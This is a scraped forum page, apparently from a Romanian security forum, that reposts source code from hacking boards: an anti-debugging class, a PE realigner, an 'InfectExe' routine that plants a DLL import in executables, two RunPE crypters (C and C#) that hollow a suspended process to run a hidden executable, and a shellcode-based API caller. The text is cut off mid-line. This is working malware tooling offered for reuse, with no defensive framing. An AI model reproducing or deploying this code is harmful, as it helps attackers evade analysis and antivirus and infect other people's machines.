Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Super, la puscarie cu ei!
  2. [h=1][C++/ASM]ClsAntiDebug Class[/h]Author: LordRNA Hi. I'm here again. I bring you a special class that i made in my freetime to my community (H-Sec). The class is ClsAntiDebug. It's a class that have some methods to detect debuggers. I add a PEBDebug detection, a NTGlobal Detection, a Debugger Process Name Detection (Only Work With OllyDBG, W32DASM and IDA Pro) and a TimeStamp Debugger Detection. I put another class that use a random method from the first three Methods and a Function to call if a Debugger is Detected. The TimeStamp Debugger Recive a number, and a function to execute, if the diference beetwen the 2 TimeStamp is bigger than the number give it by the user the member Debugged inside the class change to true. To get the value of Debugged member we will use IsDebugged Method. Sooo, It's time to put the code. I'll put the Header code, The Implementation Code and an example. #ifndef __ClsAntiDebug__ #define __ClsAntiDebug__ #include <windows.h> #include <tlhelp32.h> class ClsAntiDebug { private: bool Debugged; public: ClsAntiDebug(); void __declspec() PEBDebug(); void __declspec() NTGlobalDebug(); void __declspec() DebuggerActive(); void __declspec() TimeStamp(int time, void *func); void Protect(void *func); bool IsDebugged(); }; #endif #include "AntiDebug.h" ClsAntiDebug::ClsAntiDebug() { this->Debugged=false; } bool ClsAntiDebug::IsDebugged() { return this->Debugged; } void __declspec() ClsAntiDebug::PEBDebug() { __asm { _PEBLoop: push 500 call dword ptr ds:[Sleep] xor edx, edx mov dl,0x30 mov esi, fs:[edx] movzx eax, byte ptr[esi+2] dec eax jne _PEBLoop inc eax } this->Debugged = true; } void __declspec() ClsAntiDebug::NTGlobalDebug() { __asm { _NTLoop: push 500 call dword ptr ds:[Sleep] xor edx, edx mov dl,0x30 mov esi, fs:[edx] movzx eax, byte ptr[esi+0x68] and eax,eax je _NTLoop xor eax,eax inc eax } this->Debugged = true; } void __declspec() ClsAntiDebug::DebuggerActive() { HANDLE hProcSnap; PROCESSENTRY32 pProcess; LPTSTR Exename; int strlength; int deb[3]={18416231/*IDA Pro*/,997340682/*W32DASM*/,1853255255/*OllyDbg*/}; int i; do { hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pProcess.dwSize = sizeof(PROCESSENTRY32); Process32First(hProcSnap,&pProcess); do { strlength = strlen(pProcess.szExeFile); __asm { lea eax,[pProcess.szExeFile] mov ecx,dword ptr[strlength] xor edx,edx xor edi, edi push edi gethash: pop edi xor dl, byte ptr[eax+edi] rol edx,8 inc edi push edi xor edi,ecx jne gethash mov [strlength],edx/*We don't need strlength, so we recycle to get The Hash on Int Variable*/ pop edi } for(i=0;i<3;i++)if (strlength==deb[i]) { this->Debugged = true; __asm{jmp ___end} } }while(Process32Next(hProcSnap,&pProcess)); Sleep(500); }while(1); __asm {___end:} } void __declspec() ClsAntiDebug::Protect(void *func) { do { switch(GetTickCount()%4) { case 0:this->PEBDebug();break; case 1:this->NTGlobalDebug();break; case 2:this->DebuggerActive();break; }; if (this->Debugged) { __asm { call [func] } } Sleep(500); }while(1); } void __declspec() ClsAntiDebug::TimeStamp(int time,void *func) { __asm { rdtsc mov ebx,eax call [func] rdtsc sub eax, ebx cmp eax, [time] jna ___rtend } this->Debugged = true; __asm{___rtend: } } #pragma comment(linker,"/ENTRY:main") #include "AntiDebug.h" void CALLBACK HolaMundo() { int i; i++; i++; } int __declspec() main() { ClsAntiDebug *Debugger=new(ClsAntiDebug); Debugger->TimeStamp(200,HolaMundo); if (Debugger->IsDebugged())MessageBox(0,"Hola","Mundo",0); Debugger->Protect(HolaMundo); return 0; } Sursa: http://www.hackhound.org/forum/index.php/topic/37401-srccasmclsantidebug-class/
  3. [h=1]RealignPE v2[/h]Author: The Swash /* ----------------------------------------------------------- - Function: RealignPE v2 - - Programmer: The Swash - - Web: http://www.h-sec.org - - Dedicated: Thor, Psymera, Steve10120, [Zero], Karcrack - ----------------------------------------------------------- */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #define ReadWriteBinary "r+b" int AlingNum(int num, int aling); char * BytesAling(int number); int main(void) { printf("%i ",RealignPE("C:\\hi.exe")); getchar(); } int RealignPE(char * lpFile) { IMAGE_DOS_HEADER IDH; IMAGE_FILE_HEADER IFH; IMAGE_OPTIONAL_HEADER IOH; IMAGE_SECTION_HEADER ISH; DWORD PESignature = 0; FILE * lFile; int OriSize = 0; int ActSize = 0; int Alingned = 0; lFile = fopen(lpFile,ReadWriteBinary); if (lFile == NULL) {return -1;} else { fread(&IDH, 64, 1, lFile); fseek(lFile, IDH.e_lfanew , SEEK_SET); fread(&PESignature, 4, 1, lFile); if (IDH.e_magic != IMAGE_DOS_SIGNATURE) {fclose (lFile); return -2;} else { if(PESignature != IMAGE_NT_SIGNATURE) {fclose (lFile); return -3;} else { fseek(lFile, IDH.e_lfanew + 4, SEEK_SET); fread(&IFH, sizeof(IFH), 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fread(&IOH, IFH.SizeOfOptionalHeader, 1, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fread(&ISH, sizeof(ISH), 1, lFile); fseek(lFile, 0, SEEK_END); ActSize = ftell(lFile); OriSize = ISH.PointerToRawData + ISH.SizeOfRawData; if (ActSize - OriSize > 0) { Alingned = AlingNum(ActSize - OriSize, IOH.FileAlignment); ISH.SizeOfRawData += Alingned; ISH.Misc.VirtualSize += Alingned; IOH.SizeOfImage = ISH.Misc.VirtualSize + ISH.VirtualAddress; IOH.SizeOfInitializedData += Alingned; if (ISH.VirtualAddress == IOH.DataDirectory[2].VirtualAddress) { IOH.DataDirectory[2].Size += Alingned; } fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET); fwrite(&IOH, 1, IFH.SizeOfOptionalHeader, lFile); fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET); fwrite(&ISH, 1, sizeof(ISH), lFile); if (Alingned - (ActSize - OriSize) > 0) { fseek(lFile, ActSize, SEEK_SET); fwrite(BytesAling(Alingned-(ActSize - OriSize)), 1, Alingned-(ActSize - OriSize), lFile); } return 0; } else {return 1;} } } } } int AlingNum(int num, int aling) { if(num % aling == 0) { return num; } else if(num < aling) { return aling; } else { return (num / aling) * aling + aling; } } char * BytesAling(int number) { char * sTemp = (char *) malloc(number + 1); int i; for (i=0; i<number; i++) { sTemp[i] = '\0'; } return sTemp; } Sursa: http://www.hackhound.org/forum/index.php/topic/35985-csrc-realignpe-v2/
  4. [h=1][C] Function, which add DLL into import directory of EXE[/h]Author: picklock #include <windows.h> #define ALIGN_SIZE(x, y) ((x + (y-1)) & (~(y-1))) unsigned long RVA2Offset(unsigned long ulBase, unsigned long ulRVA) { PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection; unsigned short i; pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew); pSection = IMAGE_FIRST_SECTION(pNtHeaders); for ( i = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i ) { if ( (ulRVA >= pSection->VirtualAddress) && (ulRVA < pSection->VirtualAddress + ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment)) ) { return ulRVA - pSection->VirtualAddress + pSection->PointerToRawData; } ++pSection; } return ulRVA; } PIMAGE_SECTION_HEADER RVA2Section(unsigned long ulBase, unsigned long ulRva) { PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSection; unsigned short i; pNtHeader = (PIMAGE_NT_HEADERS) (ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew); pSection = IMAGE_FIRST_SECTION(pNtHeader); for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i ) { if ( ulRva >= pSection->VirtualAddress && ulRva < pSection->VirtualAddress + ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment) ) { return pSection; } ++pSection; } return 0; } int InfectExe(const char *pExe, const char *pDll, const char *pFunc) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection; PIMAGE_IMPORT_DESCRIPTOR pImport; PIMAGE_THUNK_DATA pThunk; PIMAGE_IMPORT_BY_NAME pImportName; HANDLE hTarget, hMapping; PVOID pMapping; unsigned long ulSize, ulOffset, ulDllSize, ulNewImportSize; unsigned short i; hTarget = CreateFile(pExe, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if ( hTarget == INVALID_HANDLE_VALUE ) return 0; ulSize = GetFileSize(hTarget, 0); if ( !ulSize ) { CloseHandle(hTarget); return 0; } hMapping = CreateFileMapping(hTarget, 0, PAGE_READWRITE, 0, ulSize, 0); if ( !hMapping ) { CloseHandle(hTarget); return 0; } pMapping = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0); if ( !pMapping ) { CloseHandle(hMapping); CloseHandle(hTarget); return 0; } pDosHeader = (PIMAGE_DOS_HEADER) pMapping; pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) pDosHeader + pDosHeader->e_lfanew); if ( pNtHeaders->OptionalHeader.Win32VersionValue == 0x10F3C03D ) // already infected { UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 0; } pSection = IMAGE_FIRST_SECTION(pNtHeaders); pImport = (PIMAGE_IMPORT_DESCRIPTOR) ((unsigned long) pMapping + RVA2Offset((unsigned long) pMapping, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); ulDllSize = (lstrlen(pDll) + 1) * sizeof(char); ulNewImportSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + sizeof(IMAGE_IMPORT_DESCRIPTOR); // new size for ( i = 0, ulOffset = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i ) { if ( (pSection->SizeOfRawData - pSection->Misc.VirtualSize) >= ulNewImportSize ) { ulOffset = (unsigned long) pMapping + pSection->PointerToRawData + pSection->Misc.VirtualSize; break; } ++pSection; } if ( !ulOffset || (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size < (ulDllSize + 2*sizeof(IMAGE_THUNK_DATA) + 2 + (lstrlen(pFunc)+1)*sizeof(char))) ) { UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 0; } // copy IMAGE_DIRECTORY_ENTRY_IMPORT to new place memcpy(pImport, (void *) ulOffset, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size); ZeroMemory((void *) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size), sizeof(IMAGE_IMPORT_DESCRIPTOR)); ZeroMemory(pImport, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size); //copy dll name on prev import place and editing IMAGE_THUNK_DATA and IMAGE_IMPORT_BY_NAME memcpy((void *) pDll, pImport, ulDllSize); pThunk = (PIMAGE_THUNK_DATA) ((unsigned long) pImport + ulDllSize); pImportName = (PIMAGE_IMPORT_BY_NAME) ((unsigned long) pImport + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA)); pThunk->u1.AddressOfData = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA); pImportName->Hint = 0x0000; ZeroMemory(pThunk+1, sizeof(IMAGE_THUNK_DATA)); memcpy((void *) pFunc, &pImportName->Name, (lstrlen(pFunc)+1)*sizeof(char)); // editing new IMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size - sizeof(IMAGE_IMPORT_DESCRIPTOR)); pImport->OriginalFirstThunk = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize; pImport->FirstThunk = pImport->Characteristics; pImport->ForwarderChain = 0x00000000; pImport->Name = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; pImport->TimeDateStamp = 0x00000000; // new flags and charachteristics pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pSection->VirtualAddress + pSection->Misc.VirtualSize; pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = ulNewImportSize; pNtHeaders->OptionalHeader.Win32VersionValue = 0x10F3C03D; pSection = RVA2Section((unsigned long) pMapping, (unsigned long) pThunk - (unsigned long) pMapping); pSection->Characteristics |= IMAGE_SCN_MEM_WRITE; UnmapViewOfFile(pMapping); CloseHandle(hMapping); CloseHandle(hTarget); return 1; } Sursa: http://www.hackhound.org/forum/index.php/topic/41147-c-function-which-add-dll-into-import-directory-of-exe/
  5. PoC RunPE Crypter - G36KV #include "WinApi.h" /*********************************** PoC RunPE Crypter - G36KV ***********************************/ #pragma comment(linker,"/ENTRY:WinMain") void GetApiList(); BOOL RunPe(const WCHAR * targetFilePath, DWORD_PTR pFileMemory); PIMAGE_NT_HEADERS CheckHeader(const WCHAR * targetFilePath, DWORD_PTR pFileMemory); def_CreateProcessInternalW _CreateProcessInternalW = 0; def_NtGetContextThread _NtGetContextThread = 0; def_NtSetContextThread _NtSetContextThread = 0; def_NtReadVirtualMemory _NtReadVirtualMemory = 0; def_NtUnmapViewOfSection _NtUnmapViewOfSection = 0; def_NtAllocateVirtualMemory _NtAllocateVirtualMemory = 0; def_NtWriteVirtualMemory _NtWriteVirtualMemory = 0; def_NtResumeThread _NtResumeThread = 0; def_NtTerminateProcess _NtTerminateProcess = 0; LPVOID _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); int CALLBACK WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { GetApiList(); return RunPe(L"C:\\target.exe", (DWORD_PTR)1); } BOOL RunPe(const WCHAR * targetFilePath, DWORD_PTR pFileMemory) { PIMAGE_NT_HEADERS pNtHeader = 0; PIMAGE_SECTION_HEADER pSecHeader = 0; PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {0}; CONTEXT ctx = {0}; DWORD_PTR dwImagebase = 0; LPVOID pImagebase = 0; ULONG NumberOfBytes = 0; DWORD_PTR pPebImageBase = 0; ULONG SuspendCount = 0; WORD counter; pNtHeader = CheckHeader(targetFilePath,pFileMemory); if (!pNtHeader) return FALSE; ctx.ContextFlags = CONTEXT_INTEGER; if(_CreateProcessInternalW(0,targetFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi,0)) { if (NT_SUCCESS(_NtGetContextThread(pi.hThread, &ctx))) { #ifdef _WIN64 pPebImageBase = ctx.Rdx + (sizeof(DWORD_PTR) * 2); #else pPebImageBase = ctx.Ebx + (sizeof(DWORD_PTR) * 2); #endif if (NT_SUCCESS(_NtReadVirtualMemory(pi.hProcess, (PVOID)pPebImageBase, &dwImagebase, sizeof(DWORD_PTR),&NumberOfBytes))) { if (NT_SUCCESS(_NtUnmapViewOfSection(pi.hProcess, (PVOID)dwImagebase))) { pImagebase = _VirtualAllocEx(pi.hProcess, (PVOID)pNtHeader->OptionalHeader.ImageBase, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pImagebase) { if (NT_SUCCESS(_NtWriteVirtualMemory(pi.hProcess,pImagebase,(LPVOID)pFileMemory,pNtHeader->OptionalHeader.SizeOfHeaders,&NumberOfBytes))) { pSecHeader = IMAGE_FIRST_SECTION(pNtHeader); for (counter = 0; counter < pNtHeader->FileHeader.NumberOfSections; counter++) { _NtWriteVirtualMemory(pi.hProcess,(LPVOID)((DWORD_PTR)pImagebase + pSecHeader->VirtualAddress), (LPVOID)(pFileMemory + pSecHeader->PointerToRawData),pSecHeader->SizeOfRawData, &NumberOfBytes); pSecHeader++; } if (NT_SUCCESS(_NtWriteVirtualMemory(pi.hProcess,(PVOID)pPebImageBase,&(pNtHeader->OptionalHeader.ImageBase),sizeof(DWORD_PTR),&NumberOfBytes))) { #ifdef _WIN64 ctx.Rcx = (DWORD_PTR)pImagebase + pNtHeader->OptionalHeader.AddressOfEntryPoint; #else ctx.Eax = (DWORD_PTR)pImagebase + pNtHeader->OptionalHeader.AddressOfEntryPoint; #endif if (NT_SUCCESS(_NtSetContextThread(pi.hThread, &ctx))) { if (NT_SUCCESS(_NtResumeThread(pi.hThread, &SuspendCount))) { return TRUE; } } } } } } } } _NtTerminateProcess(pi.hProcess, 0); } return FALSE; } PIMAGE_NT_HEADERS CheckHeader(const WCHAR * targetFilePath, DWORD_PTR pFileMemory) { PIMAGE_DOS_HEADER pDosHeader = 0; PIMAGE_NT_HEADERS pNtHeader = 0; if (targetFilePath) { if (pFileMemory) { pDosHeader = (PIMAGE_DOS_HEADER)pFileMemory; if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE) { pNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pFileMemory + pDosHeader->e_lfanew); if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) { return pNtHeader; } } } } return 0; } LPVOID _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { SIZE_T RegionSize = dwSize; PVOID BaseAddress = lpAddress; if (NT_SUCCESS(_NtAllocateVirtualMemory(hProcess, &BaseAddress, 0x00, &RegionSize, flAllocationType, flProtect))) { return BaseAddress; } else { return 0; } } void GetApiList() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); HMODULE hKernel = GetModuleHandleA("kernel32.dll"); if (!hKernel || !hNtdll) return; _CreateProcessInternalW = (def_CreateProcessInternalW)GetProcAddress(hKernel,"CreateProcessInternalW"); _NtGetContextThread = (def_NtGetContextThread)GetProcAddress(hNtdll,"NtGetContextThread"); _NtSetContextThread = (def_NtSetContextThread)GetProcAddress(hNtdll,"NtSetContextThread"); _NtReadVirtualMemory = (def_NtReadVirtualMemory)GetProcAddress(hNtdll,"NtReadVirtualMemory"); _NtUnmapViewOfSection = (def_NtUnmapViewOfSection)GetProcAddress(hNtdll,"NtUnmapViewOfSection"); _NtAllocateVirtualMemory = (def_NtAllocateVirtualMemory)GetProcAddress(hNtdll,"NtAllocateVirtualMemory"); _NtWriteVirtualMemory = (def_NtWriteVirtualMemory)GetProcAddress(hNtdll,"NtWriteVirtualMemory"); _NtResumeThread = (def_NtResumeThread)GetProcAddress(hNtdll,"NtResumeThread"); _NtTerminateProcess = (def_NtTerminateProcess)GetProcAddress(hNtdll,"NtTerminateProcess"); } Sursa: http://www.hackhound.org/forum/index.php/topic/42925-runpe-with-native-api-x64x86/
  6. [h=2][C#] Execute EXE byte array in memory (NATIVE, RunPE, TINY, x64, x86)[/h] Author: affixiate All, I just finished my tiny RunPE variant. It uses Native WinAPI (ntdll) to perform its magic (instead of kernel32). It's very quick and stable. No "structs" are included (to minimize the code). Fully compatible with 64-bit and 32-bit Windows. Pro-tip: Use with my other code to maximize results. Without further ado, "CMemoryExecute.cs": using System; using System.Runtime.InteropServices; /* * Title: CMemoryExecute.cs * Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny. * * Developed by: affixiate * Release date: December 10, 2010 * Released on: http://opensc.ws * Credits: * MSDN (http://msdn.microsoft.com) * NtInternals (http://undocumented.ntinternals.net) * Pinvoke (http://pinvoke.net) * * Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;] */ // ReSharper disable InconsistentNaming public static unsafe class CMemoryExecute { /// <summary> /// Runs an EXE (which is loaded in a byte array) in memory. /// </summary> /// <param name="exeBuffer">The EXE buffer.</param> /// <param name="hostProcess">Full path of the host process to run the buffer in.</param> /// <param name="optionalArguments">Optional command line arguments.</param> /// <returns></returns> public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "") { var IMAGE_SECTION_HEADER = new byte[0x28]; // pish var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh var IMAGE_DOS_HEADER = new byte[0x40]; // pidh var PROCESS_INFO = new int[0x4]; // pi var CONTEXT = new byte[0x2cc]; // ctx byte* pish; fixed (byte* p = &IMAGE_SECTION_HEADER[0]) pish = p; byte* pinh; fixed (byte* p = &IMAGE_NT_HEADERS[0]) pinh = p; byte* pidh; fixed (byte* p = &IMAGE_DOS_HEADER[0]) pidh = p; byte* ctx; fixed (byte* p = &CONTEXT[0]) ctx = p; // Set the flag. *(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL; // Get the DOS header of the EXE. Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length); /* Sanity check: See if we have MZ header. */ if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE) return false; var e_lfanew = *(int*)(pidh + 0x3c); // Get the NT header of the EXE. Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length); /* Sanity check: See if we have PE00 header. */ if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE) return false; // Run with parameters if necessary. if (!string.IsNullOrEmpty(optionalArguments)) hostProcess += " " + optionalArguments; if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO)) return false; var ImageBase = new IntPtr(*(int*) (pinh + 0x34)); NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase); if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero) Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations) fixed (byte* p = &exeBuffer[0]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero); for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++) { Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length); fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero); } NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero); *(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */); NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero); return true; } #region WinNT Definitions private const uint CONTEXT_FULL = 0x10007; private const int CREATE_SUSPENDED = 0x4; private const int MEM_COMMIT = 0x1000; private const int MEM_RESERVE = 0x2000; private const int PAGE_EXECUTE_READWRITE = 0x40; private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00 #region WinAPI [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount); #endregion #endregion } Example usage: CMemoryExecute.Run(File.ReadAllBytes(@"C:\run_me_in_memory.exe"), @"C:\inject_into_me.exe", @"(Optional) Command Line Parameters To Be Passed To C:\run_me_in_memory.exe"); If you use this code, it would be most excellent if you could maintain the credits. I'm not asking for cash or beer. This is the least you can do for such high quality work, no? Don't be a ripper. /affixiate P.S. All constructive criticism as well as questions and general comments are welcome. Sursa: [sRC] [C#] Execute EXE byte array in memory (NATIVE, RunPE, TINY, x64, x86)
  7. [h=2][C#] Call an API by name[/h] Author: affixiate The subject of this post pretty much explains what this class does. You simply pass in the parameters of a WinAPI function and you will be able to call it in memory without having to use "DllImport". The code, CInvokeAPI.cs: using System; using System.Runtime.InteropServices; using System.Text; /* * Title: CInvokeAPI.cs * Description: Call API by name implementation in purely managed C# (no 'unsafe' mess here). * * Developed by: affixiate * Release date: December 10, 2010 * Released on: http://opensc.ws * * Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;] */ public static class CInvokeAPI { /// <summary> /// Generates a new, non-garbage collectable string in memory. Use this with Unicode "W" API. /// </summary> /// <param name="theString">A Unicode string.</param> /// <returns>Address of newly allocated string in memory. Remember to free it after use.</returns> public static int StringToPtrW(string theString) { return StringToPtr(Encoding.Unicode.GetBytes(theString)); } /// <summary> /// Generates a new, non-garbage collectable string in memory. Use this with ANSI "A" API. /// </summary> /// <param name="theString">An ANSII string.</param> /// <returns>Address of newly allocated string in memory. Remember to free it after use.</returns> public static int StringToPtrA(string theString) { return StringToPtr(Encoding.ASCII.GetBytes(theString)); } /// <summary> /// Internal method used to allocate memory. /// </summary> /// <param name="buf">A byte buffer.</param> /// <returns>Address of newly allocated memory. Remember to free it after use.</returns> private static int StringToPtr(byte[] buf) { return (int)GCHandle.Alloc(buf, GCHandleType.Pinned).AddrOfPinnedObject(); } /// <summary> /// Invokes the specified Windows API. /// </summary> /// <param name="libraryName">Name of the library.</param> /// <param name="functionName">Name of the function.</param> /// <param name="args">The arguments.</param> /// <returns>True if function succeeds, otherwise false.</returns> public static bool Invoke(string libraryName, string functionName, params int[] args) { /* Sanity checks. */ IntPtr hLoadLibrary = LoadLibrary(libraryName); if (hLoadLibrary == IntPtr.Zero) return false; IntPtr hGetProcAddress = GetProcAddress(hLoadLibrary, functionName); if (hGetProcAddress == IntPtr.Zero) return false; // Allocates more than enough memory for an stdcall and the parameters of a WinAPI function IntPtr hMemory = VirtualAlloc(IntPtr.Zero, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, MEM_EXECUTE_READWRITE); if (hMemory == IntPtr.Zero) return false; IntPtr hMemoryItr = hMemory; // Prepends the stdcall header signature Marshal.Copy(new byte[] {0x55, 0x89, 0xE5}, 0, hMemoryItr, 0x3); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x3); // Loop through the passed in arguments and place them on the stack in reverse order for (int i = (args.Length - 1); i >= 0; i--) { Marshal.Copy(new byte[] {0x68}, 0, hMemoryItr, 0x1); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1); Marshal.Copy(BitConverter.GetBytes(args[i]), 0, hMemoryItr, 0x4); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); } Marshal.Copy(new byte[] {0xE8}, 0, hMemoryItr, 0x1); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1); Marshal.Copy(BitConverter.GetBytes((int)hGetProcAddress - (int)hMemoryItr - 0x4), 0, hMemoryItr, 0x4); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); // Cleaning up the stack Marshal.Copy(new byte[] {0x5D, 0xC2, 0x4, 0x0 /* <= I made a LOL. */}, 0, hMemoryItr, 0x4); // Don't forget to increment if you are adding more ASM code here: hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); try { var executeAsm = (RunAsm) Marshal.GetDelegateForFunctionPointer(hMemory, typeof (RunAsm)); executeAsm(); } catch { return false; } // Clean up the memory we allocated to do the dirty work VirtualFree(hMemory, 0, MEM_RELEASE); return true; } // ReSharper disable InconsistentNaming private const uint MEM_RELEASE = 0x8000; private const uint MEM_COMMIT = 0x1000; private const uint 